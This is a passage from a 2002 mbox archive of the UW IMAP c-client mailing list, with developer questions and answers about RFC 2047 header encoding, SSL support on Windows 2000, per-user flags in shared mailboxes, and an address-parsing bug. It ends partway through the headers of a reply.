#news.kde.kde-cvs.kdebase * LIST () "." #news.kde.kde-cvs.kdeedu * LIST () "." #news.kde.kde-cvs.kdegames * LIST () "." #news.kde.kde-cvs.kdegraphics * LIST () "." #news.kde.kde-cvs.kdenetwork * LIST () "." #news.kde.kde-cvs.koffice * LIST () "." #news.kde.kde-cvs.kdeaddons * LIST () "." #news.kde.kfm-devel * LIST () "." #news.kde.kde-cvs.qt-copy * LIST () "." #news.kde.kdenonlinux * LIST () "." #news.kde.kde3alpha * LIST () "." #news.kde.kde-cvs.kdeutils * LIST () "." #news.kde.kde-cygwin * LIST () "." #news.kde.kde-edu * LIST () "." #news.kde.kde-edu-devel * LIST () "." #news.kde.kde-edu-news * LIST () "." #news.kde.kde-embedded * LIST () "." #news.kde.kde-enterprise * LIST () "." #news.kde.kde-events * LIST () "." #news.kde.kde-faq * LIST () "." #news.kde.kde-games-devel * LIST () "." #news.kde.kde-java * LIST () "." #news.kde.kde-kafka * LIST () "." #news.kde.kde-kant * LIST () "." #news.kde.kde-kiosk * LIST () "." #news.kde.kde-linux * LIST () "." #news.kde.kde-multimedia * LIST () "." #news.kde.kde-openserver * LIST () "." #news.kde.kde-pim * LIST () "." #news.kde.kde-print * LIST () "." #news.kde.kde-promo * LIST () "." #news.kde.kde-solaris * LIST () "." #news.kde.kde-usability * LIST () "." #news.kde.kde-woman * LIST () "." #news.kde.kde-worldwide * LIST () "." #news.kde.kde-www * LIST () "." #news.kde.kimageshop * LIST () "." #news.kde.koffice-devel * LIST () "." #news.kde.konq-e * LIST () "." #news.kde.ksvg-devel * LIST () "." #news.kde.kwintv * LIST () "." #news.kde.kwireless * LIST () "." #news.kde.kwrite-devel * LIST () "." #news.kde.lw-ny-2002 * LIST () "." #news.kde.kde * LIST () "." #news.kde.kde-cvs.www * LIST () "." #news.kde.kde-cvs.developer-kde-org * LIST () "." #news.kde.kde-cvs.kdevelop * LIST () "." #news.imap.c-client * LIST () "." #news.suse.linux-e * LIST () "." #news.cygwin.apps * LIST () "." #news.cygwin.cygwin * LIST () "." #news.cygwin.xfree * LIST () "." #news.cygwin.cvs . OK LIST completed . logout * BYE thebox.pandmservices.com IMAP4rev1 server terminating connection . OK LOGOUT completed Connection closed by foreign host. % From pinedev@shivax2.cac.washington.edu Mon Jan 7 07:37:22 2002 -0800 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Mon, 7 Jan 2002 07:37:20 -0800 (PST) Return-Path: Received: from mailscan2.cac.washington.edu (mailscan2.cac.washington.edu [140.142.33.16]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW01.12) with SMTP id g07FbJV6012529 for ; Mon, 7 Jan 2002 07:37:20 -0800 (PST) Received: FROM mx2.cac.washington.edu BY mailscan2.cac.washington.edu ; Mon Jan 07 07:37:13 2002 -0800 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx2.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW01.12) with ESMTP id g07FbC11026831; Mon, 7 Jan 2002 07:37:13 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with SMTP id g07FZ6405714; Mon, 7 Jan 2002 07:35:07 -0800 Received: from mailscan2.cac.washington.edu (mailscan2.cac.washington.edu [140.142.33.16]) by lists.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with SMTP id g07FVln59786 for ; Mon, 7 Jan 2002 07:31:47 -0800 Received: FROM mxu4.u.washington.edu BY mailscan2.cac.washington.edu ; Mon Jan 07 07:31:46 2002 -0800 Received: from shiva.jussieu.fr (shiva.jussieu.fr [134.157.0.129]) by mxu4.u.washington.edu (8.12.1+UW01.12/8.12.1+UW01.12) with ESMTP id g07FViVK018225 for ; Mon, 7 Jan 2002 07:31:45 -0800 Received: from parthe.lpthe.jussieu.fr (parthe.lpthe.jussieu.fr [134.157.10.1]) by shiva.jussieu.fr (8.12.1/jtpda-5.4) with ESMTP id g07FVgYD059228 for ; Mon, 7 Jan 2002 16:31:43 +0100 (CET) Received: from seth.lpthe.jussieu.fr (IDENT:root@seth.lpthe.jussieu.fr [134.157.10.7]) by parthe.lpthe.jussieu.fr (8.11.1/jtpda-5.3.1) with ESMTP id g07FVfj23600 for ; Mon, 7 Jan 2002 16:31:42 +0100 (MET) Received: from (zeitlin@localhost) by seth.lpthe.jussieu.fr (8.8.7/jtpda-5.1) id QAA16122 ; Mon, 7 Jan 2002 16:31:41 +0100 Message-Id: <200201071531.QAA16122@seth.lpthe.jussieu.fr> Date: Mon, 7 Jan 2002 16:31:41 +0100 (CET) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Vadim Zeitlin To: c-client@u.washington.edu Subject: RFC 2047 support in c-client? MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII Content-Disposition: INLINE X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hello, are there any routines in c-client for generating the properly encoded headers according to the RFC 2047? I know of rfc822_8bit() and rfc822_binary() but they don't help with the requirment that the encoded words must be less than 75 characters long and the latter also doesn't encode the '?' character which should be encoded in the 2047 headers. Of course, I can write my own versions of them (in fact, I already did except they still don't honour the 75 length limit) but maybe c-client already has them somewhere? And if it doesn't, maybe I could contribute my versions back to it then? Thanks, VZ -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Mon Jan 7 11:48:26 2002 -0800 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Mon, 7 Jan 2002 11:48:25 -0800 (PST) Return-Path: Received: from mailscan4.cac.washington.edu (mailscan4.cac.washington.edu [140.142.33.15]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW01.12) with SMTP id g07JmOV6012214 for ; Mon, 7 Jan 2002 11:48:24 -0800 (PST) Received: FROM mx1.cac.washington.edu BY mailscan4.cac.washington.edu ; Mon Jan 07 11:48:18 2002 -0800 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx1.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW01.12) with ESMTP id g07JmHpr032554; Mon, 7 Jan 2002 11:48:17 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with SMTP id g07Jm1422000; Mon, 7 Jan 2002 11:48:01 -0800 Received: from mailscan1.cac.washington.edu (mailscan1.cac.washington.edu [140.142.32.16]) by lists.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with SMTP id g07Jkln93740 for ; Mon, 7 Jan 2002 11:46:47 -0800 Received: FROM mxu2.u.washington.edu BY mailscan1.cac.washington.edu ; Mon Jan 07 11:46:46 2002 -0800 Received: from Tomobiki-Cho.CAC.Washington.EDU (tomobiki-cho.cac.washington.edu [128.95.135.58]) by mxu2.u.washington.edu (8.12.1+UW01.12/8.12.1+UW01.12) with ESMTP id g07Jkj3F006394 for ; Mon, 7 Jan 2002 11:46:46 -0800 Message-Id: Date: Mon, 7 Jan 2002 11:44:28 -0800 (PST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Vadim Zeitlin Cc: c-client@u.washington.edu Subject: re: RFC 2047 support in c-client? In-Reply-To: <200201071531.QAA16122@seth.lpthe.jussieu.fr> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN No, there aren't any routines for generating MIME2 encoded words. This is generally done by the application, since c-client's envelope fields don't have any means to store character set (nor can they because the corresponding IMAP data doesn't have it either). Fortunately, it's very simple code. From pinedev@shivax2.cac.washington.edu Mon Jan 7 13:08:29 2002 -0800 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Mon, 7 Jan 2002 13:08:29 -0800 (PST) Return-Path: Received: from mailscan5.cac.washington.edu (mailscan5.cac.washington.edu [140.142.32.14]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW01.12) with SMTP id g07L8SV6017679 for ; Mon, 7 Jan 2002 13:08:28 -0800 (PST) Received: FROM mx2.cac.washington.edu BY mailscan5.cac.washington.edu ; Mon Jan 07 13:08:19 2002 -0800 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx2.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW01.12) with ESMTP id g07L8J11005028; Mon, 7 Jan 2002 13:08:19 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with SMTP id g07L87416426; Mon, 7 Jan 2002 13:08:07 -0800 Received: from mailscan4.cac.washington.edu (mailscan4.cac.washington.edu [140.142.33.15]) by lists.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with SMTP id g07L79n31494 for ; Mon, 7 Jan 2002 13:07:09 -0800 Received: FROM mxu3.u.washington.edu BY mailscan4.cac.washington.edu ; Mon Jan 07 13:07:08 2002 -0800 Received: from shiva.jussieu.fr (shiva.jussieu.fr [134.157.0.129]) by mxu3.u.washington.edu (8.12.1+UW01.12/8.12.1+UW01.12) with ESMTP id g07L77m1002748 for ; Mon, 7 Jan 2002 13:07:08 -0800 Received: from parthe.lpthe.jussieu.fr (parthe.lpthe.jussieu.fr [134.157.10.1]) by shiva.jussieu.fr (8.12.1/jtpda-5.4) with ESMTP id g07L76YD030291 for ; Mon, 7 Jan 2002 22:07:06 +0100 (CET) Received: from seth.lpthe.jussieu.fr (IDENT:root@seth.lpthe.jussieu.fr [134.157.10.7]) by parthe.lpthe.jussieu.fr (8.11.1/jtpda-5.3.1) with ESMTP id g07L76j27154 for ; Mon, 7 Jan 2002 22:07:06 +0100 (MET) Received: from (zeitlin@localhost) by seth.lpthe.jussieu.fr (8.8.7/jtpda-5.1) id WAA18001 ; Mon, 7 Jan 2002 22:07:06 +0100 Message-Id: <200201072107.WAA18001@seth.lpthe.jussieu.fr> Date: Mon, 7 Jan 2002 22:07:06 +0100 (CET) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Vadim Zeitlin To: c-client@u.washington.edu Subject: =?ISO-8859-1?Q?Re[2]:=20RFC=202047=20support=20in=20c-client=3F?= In-Reply-To: References: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII Content-Disposition: INLINE X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Mon, 7 Jan 2002 11:44:28 -0800 (PST) Mark Crispin wrote: MC> No, there aren't any routines for generating MIME2 encoded words. This is MC> generally done by the application, since c-client's envelope fields don't have MC> any means to store character set (nor can they because the corresponding IMAP MC> data doesn't have it either). Hmm, I still don't see why shouldn't c-client have a function taking the encoding (QP or Base64) and the charset name and encoding the header according to them, but ... MC> Fortunately, it's very simple code. ... yes, of course, so I wrote it myself - even if I don't really see how is it more simple than QP or Base64 encoding routines which c-client does provide. Thanks, VZ -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Tue Jan 8 08:16:34 2002 -0800 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Tue, 8 Jan 2002 08:16:27 -0800 (PST) Return-Path: Received: from mailscan2.cac.washington.edu (mailscan2.cac.washington.edu [140.142.33.16]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW01.12) with SMTP id g08GGQV6020386 for ; Tue, 8 Jan 2002 08:16:26 -0800 (PST) Received: FROM mx1.cac.washington.edu BY mailscan2.cac.washington.edu ; Tue Jan 08 08:16:23 2002 -0800 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx1.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW01.12) with ESMTP id g08GGMpr028250; Tue, 8 Jan 2002 08:16:23 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with SMTP id g08GGBb10288; Tue, 8 Jan 2002 08:16:11 -0800 Received: from mailscan3.cac.washington.edu (mailscan3.cac.washington.edu [140.142.32.15]) by lists.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with SMTP id g08GC3n126244 for ; Tue, 8 Jan 2002 08:12:03 -0800 Received: FROM mxu3.u.washington.edu BY mailscan3.cac.washington.edu ; Tue Jan 08 08:12:02 2002 -0800 Received: from athena.tumbleweed.co.uk ([212.2.26.85]) by mxu3.u.washington.edu (8.12.1+UW01.12/8.12.1+UW01.12) with ESMTP id g08GC1m1002299 for ; Tue, 8 Jan 2002 08:12:01 -0800 Received: from 10.150.1.7 by athena.tumbleweed.co.uk with ESMTP (SMTP Relay (MMS v5.0)); Tue, 08 Jan 2002 16:11:43 -0000 Received: by nts3.tumbleweed.co.uk with Internet Mail Service ( 5.5.2653.19) id ; Tue, 8 Jan 2002 16:11:42 -0000 Message-Id: <0D5DF288836CD41190120090279C31FA5696D9@nts3.tumbleweed.co.uk> Date: Tue, 8 Jan 2002 16:11:31 -0000 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "David Carey" To: "'c-client@u.washington.edu'" Subject: Using SSL on w2k MIME-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 7bit X-Server-Uuid: 1663A37C-E438-49FF-AC8D-CCD39B15F608 X-WSS-ID: 1025C5B52406-01-03 X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hi all I'm obviously missing something regarding the SSL implementation on w2k I've built and run the imap-2001a version on w2k. It works just fine on the standard port on 143 However I then wanted to use the SSL Version. It didn't work. Having then dug into the code, I became mystified because I couldn't see how the SSL driver gets called e.g. PSOUT is always tied to the routine in ssl_none.c This routine just pushes the existing data out on stdout I'm using the inetlisn.exe to tie stdout, to a socket. Obviously this goes unencrypted There is an equivalent ssl_w2k.c, for specified ssl routines, but it doesn't have versions of PSOUT as I king of expected, and none of the routines that are in here seem to get invoked As I say, I'm obviously missing a point somewhere Cheers Dave >> -----Original Message----- >> From: Mark Crispin [mailto:MRC@CAC.Washington.EDU] >> Sent: 06 November 2001 00:50 >> To: Marc MERLIN >> Cc: c-client@u.washington.edu >> Subject: re: forcing SSL/TLS only on imap >> >> >> On Mon, 5 Nov 2001 15:46:33 -0800, Marc MERLIN wrote: >> > Is there a setting or a patch for imapd to accept SSL >> connections on 993, or >> > accept connections on 143 provided that the client switches to TLS? >> >> Perhaps what you want is to build the IMAP toolkit with >> SSLTYPE=nopwd instead >> of SSLTYPE=unix >> >> This is an important new capability of imap-2001; it isn't >> in imap-2000. >> >> >> >> -- This message has been content scanned by Tumbleweed Secure Guardian (TSG). TSG uses policy enforcement to scan for known viruses, content and malicious code. For more information about TSG please contact www.tumbleweed.com or call +44 118 9347100 NOTICE: This email message is for the sole use of the intended recipient(s) and may contain confidential and privileged information. Any unauthorized review, use, disclosure or distribution is prohibited. If you are not the intended recipient, please contact the sender by reply email and destroy all copies of the original message. To contact our email administrator directly, send to administrator@tumbleweed.co.uk -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Tue Jan 8 08:31:20 2002 -0800 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Tue, 8 Jan 2002 08:31:19 -0800 (PST) Return-Path: Received: from mailscan2.cac.washington.edu (mailscan2.cac.washington.edu [140.142.33.16]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW01.12) with SMTP id g08GVEV6015559 for ; Tue, 8 Jan 2002 08:31:16 -0800 (PST) Received: FROM mx1.cac.washington.edu BY mailscan2.cac.washington.edu ; Tue Jan 08 08:31:03 2002 -0800 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx1.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW01.12) with ESMTP id g08GV3pr028779; Tue, 8 Jan 2002 08:31:03 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with SMTP id g08GUe422440; Tue, 8 Jan 2002 08:30:40 -0800 Received: from mailscan4.cac.washington.edu (mailscan4.cac.washington.edu [140.142.33.15]) by lists.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with SMTP id g08GRCn161282 for ; Tue, 8 Jan 2002 08:27:12 -0800 Received: FROM mxu4.u.washington.edu BY mailscan4.cac.washington.edu ; Tue Jan 08 08:27:11 2002 -0800 Received: from Tomobiki-Cho.CAC.Washington.EDU (tomobiki-cho.cac.washington.edu [128.95.135.58]) by mxu4.u.washington.edu (8.12.1+UW01.12/8.12.1+UW01.12) with ESMTP id g08GRBVK023121 for ; Tue, 8 Jan 2002 08:27:11 -0800 Message-Id: Date: Tue, 8 Jan 2002 08:22:53 -0800 (PST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: David Carey Cc: "'c-client@u.washington.edu'" Subject: re: Using SSL on w2k In-Reply-To: <0D5DF288836CD41190120090279C31FA5696D9@nts3.tumbleweed.co.uk> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN If you are talking about making an SSL IMAP server under Win2K, there is no code to do that. I wrote such code, but never had the opportunity to test it so it isn't included. The current Win2K code is client only. One issue is getting a server certificate installed in Win2K. I don't think that you can install a self-signed certificate, and I'm not sure that Win2K Pro lets you install server certificates (I think that's a feature of the more expensive server version of Win2K). From pinedev@shivax2.cac.washington.edu Wed Jan 9 06:04:07 2002 -0800 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Wed, 9 Jan 2002 06:04:06 -0800 (PST) Return-Path: Received: from mailscan1.cac.washington.edu (mailscan1.cac.washington.edu [140.142.32.16]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW01.12) with SMTP id g09E45V6013087 for ; Wed, 9 Jan 2002 06:04:05 -0800 (PST) Received: FROM mx2.cac.washington.edu BY mailscan1.cac.washington.edu ; Wed Jan 09 06:03:58 2002 -0800 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx2.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW01.12) with ESMTP id g09E3w11028224; Wed, 9 Jan 2002 06:03:58 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with SMTP id g09E3c571072; Wed, 9 Jan 2002 06:03:38 -0800 Received: from mailscan2.cac.washington.edu (mailscan2.cac.washington.edu [140.142.33.16]) by lists.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with SMTP id g09E23n62916 for ; Wed, 9 Jan 2002 06:02:03 -0800 Received: FROM mxu4.u.washington.edu BY mailscan2.cac.washington.edu ; Wed Jan 09 06:01:59 2002 -0800 Received: from serv1.ub.ntnu.no (serv1.ub.ntnu.no [129.241.191.100]) by mxu4.u.washington.edu (8.12.1+UW01.12/8.12.1+UW01.12) with ESMTP id g09E1vVK011163 for ; Wed, 9 Jan 2002 06:01:58 -0800 Received: from uall1062.ub.ntnu.no (uall1062.ub.ntnu.no [129.241.191.62]) by serv1.ub.ntnu.no (8.9.3/8.9.3) with ESMTP id PAA31605 for ; Wed, 9 Jan 2002 15:01:56 +0100 Message-Id: <21550242.1010588515@uall1062.ub.ntnu.no> Date: Wed, 09 Jan 2002 15:01:55 +0100 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Steinar Kaaro To: c-client@u.washington.edu Subject: Personal flags in shared mailboxes? MIME-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1; format=flowed Content-Transfer-Encoding: quoted-printable Content-Disposition: inline X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hello, I'm using the UW-IMAP server, and Mulberry as IMAP-client. I want to set up = a shared mailbox where different announcements can be made. Ordinary users=20 should not be able to delete the messages, but they should somehow be able=20 to mark a message "read". If I set the mailbox file RO, then the users=20 can't mark messages "read", and if I set the file RW, the "read" flag gets=20 set globally. Either way the new mail notification in the client will not=20 be usable. Is it possible to apply a personal flag to a shared mailbox=20 (I've tested the unix and mbx drivers)? regards, Steinar Kaar=F8 Norwegian University of Science and Technology -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Wed Jan 9 06:41:22 2002 -0800 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Wed, 9 Jan 2002 06:41:22 -0800 (PST) Return-Path: Received: from mailscan1.cac.washington.edu (mailscan1.cac.washington.edu [140.142.32.16]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW01.12) with SMTP id g09EfLV6016459 for ; Wed, 9 Jan 2002 06:41:21 -0800 (PST) Received: FROM mx2.cac.washington.edu BY mailscan1.cac.washington.edu ; Wed Jan 09 06:41:12 2002 -0800 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx2.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW01.12) with ESMTP id g09EfC11028849; Wed, 9 Jan 2002 06:41:12 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with SMTP id g09Eesx05704; Wed, 9 Jan 2002 06:40:55 -0800 Received: from mailscan2.cac.washington.edu (mailscan2.cac.washington.edu [140.142.33.16]) by lists.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with SMTP id g09EeIn145326 for ; Wed, 9 Jan 2002 06:40:18 -0800 Received: FROM mxu4.u.washington.edu BY mailscan2.cac.washington.edu ; Wed Jan 09 06:40:15 2002 -0800 Received: from mailout03.sul.t-online.com (mailout03.sul.t-online.com [194.25.134.81]) by mxu4.u.washington.edu (8.12.1+UW01.12/8.12.1+UW01.12) with ESMTP id g09EeEVK015967 for ; Wed, 9 Jan 2002 06:40:15 -0800 Received: from fwd00.sul.t-online.de by mailout03.sul.t-online.de with smtp id 16OJtl-00066C-0G; Wed, 09 Jan 2002 15:40:13 +0100 Received: from joe.freakout.de (0928787446-0001@[217.83.144.26]) by fmrl00.sul.t-online.com with esmtp id 16OJtc-0kNlTMC; Wed, 9 Jan 2002 15:40:04 +0100 Received: (from axel@localhost) by joe.freakout.de (8.11.6/8.11.6) id g09Eakr23909 for c-client@u.washington.edu; Wed, 9 Jan 2002 15:36:46 +0100 Message-Id: <200201091436.g09Eakr23909@joe.freakout.de> Date: Wed, 9 Jan 2002 15:36:45 +0100 (MET) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Axel Reinhold To: c-client@u.washington.edu Subject: Address parse error on weird From: header MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-Logged: Logged by joe.freakout.de as g09Eakr23909 at Wed Jan 9 15:36:46 2002 X-Sender: 0928787446-0001@t-dialin.net X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Dear devellopers, The c-client lib does not parse this (maybe) not standard From-header correctly: From: "Daniel Aimufua"daniel@albero-berlin.de The ->mailbox field returned is: 'Daniel Aimufuadaniel' The ->personal field returned is empty. This results in an unusable return-address: Can this be fixed? I looked in the source, but that's much too high level for me to fix. Regards Axel Reinhold -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Wed Jan 9 09:04:21 2002 -0800 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Wed, 9 Jan 2002 09:04:13 -0800 (PST) Return-Path: Received: from mailscan2.cac.washington.edu (mailscan2.cac.washington.edu [140.142.33.16]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW01.12) with SMTP id g09H4CV6005709 for ; Wed, 9 Jan 2002 09:04:12 -0800 (PST) Received: FROM mx1.cac.washington.edu BY mailscan2.cac.washington.edu ; Wed Jan 09 09:04:04 2002 -0800 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx1.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW01.12) with ESMTP id g09H43pr031283; Wed, 9 Jan 2002 09:04:04 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with SMTP id g09H3N529256; Wed, 9 Jan 2002 09:03:23 -0800 Received: from mailscan4.cac.washington.edu (mailscan4.cac.washington.edu [140.142.33.15]) by lists.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with SMTP id g09H0sn116550 for ; Wed, 9 Jan 2002 09:00:54 -0800 Received: FROM mxu1.u.washington.edu BY mailscan4.cac.washington.edu ; Wed Jan 09 09:00:53 2002 -0800 Received: from vpifw.videopropulsion.com (genroco.com [205.254.195.202]) by mxu1.u.washington.edu (8.12.1+UW01.12/8.12.1+UW01.12) with ESMTP id g09H0mTA027929 for ; Wed, 9 Jan 2002 09:00:52 -0800 Received: from vpi.videopropulsion.com (gi2.genroco.com [192.133.120.3]) by vpifw.videopropulsion.com (8.9.3/8.9.3) with ESMTP id LAA25745; Wed, 9 Jan 2002 11:00:43 -0600 Received: from d2e (d2e.videopropulsion.com [192.133.120.8]) by vpi.videopropulsion.com (8.11.6/8.11.6) with SMTP id g09H0fq03894; Wed, 9 Jan 2002 11:00:41 -0600 Message-Id: <002401c1992f$1d6c3d30$087885c0@GENROCO.com> Date: Wed, 9 Jan 2002 11:00:15 -0600 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Scot W. Hetzel" To: "Steinar Kaaro" , Subject: Re: Personal flags in shared mailboxes? References: <21550242.1010588515@uall1062.ub.ntnu.no> X-Priority: 3 X-MSMail-Priority: Normal X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN From: "Steinar Kaaro" > I'm using the UW-IMAP server, and Mulberry as IMAP-client. I want to set up > a shared mailbox where different announcements can be made. Ordinary users > should not be able to delete the messages, but they should somehow be able > to mark a message "read". If I set the mailbox file RO, then the users > can't mark messages "read", and if I set the file RW, the "read" flag gets > set globally. Either way the new mail notification in the client will not > be usable. Is it possible to apply a personal flag to a shared mailbox > (I've tested the unix and mbx drivers)? > The mailbox formats used in UW-IMAP don't support multiple Access Control Lists (ACL) per mailbox. If you require multiple ACL's then you need to try another IMAP server with support for multiple ACLs (i.e. cyrus imapd). Scot NOTE: With Cyrus you will need to convert the UW-IMAP mailboxes to the Cyrus mailbox format. From pinedev@shivax2.cac.washington.edu Wed Jan 9 09:40:26 2002 -0800 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Wed, 9 Jan 2002 09:40:25 -0800 (PST) Return-Path: Received: from mailscan2.cac.washington.edu (mailscan2.cac.washington.edu [140.142.33.16]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW01.12) with SMTP id g09HeNV6021840 for ; Wed, 9 Jan 2002 09:40:24 -0800 (PST) Received: FROM mx2.cac.washington.edu BY mailscan2.cac.washington.edu ; Wed Jan 09 09:40:16 2002 -0800 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx2.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW01.12) with ESMTP id g09HeF11000747; Wed, 9 Jan 2002 09:40:15 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with SMTP id g09Hdsb04508; Wed, 9 Jan 2002 09:39:54 -0800 Received: from mailscan6.cac.washington.edu (mailscan6.cac.washington.edu [140.142.33.14]) by lists.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with SMTP id g09Hcwn122370 for ; Wed, 9 Jan 2002 09:38:58 -0800 Received: FROM mxu2.u.washington.edu BY mailscan6.cac.washington.edu ; Wed Jan 09 09:38:57 2002 -0800 Received: from Tomobiki-Cho.CAC.Washington.EDU (tomobiki-cho.cac.washington.edu [128.95.135.58]) by mxu2.u.washington.edu (8.12.1+UW01.12/8.12.1+UW01.12) with ESMTP id g09Hcv3F026715 for ; Wed, 9 Jan 2002 09:38:57 -0800 Message-Id: Date: Wed, 9 Jan 2002 09:34:46 -0800 (PST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Axel Reinhold Cc: c-client@u.washington.edu Subject: re: Address parse error on weird From: header In-Reply-To: <200201091436.g09Eakr23909@joe.freakout.de> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII 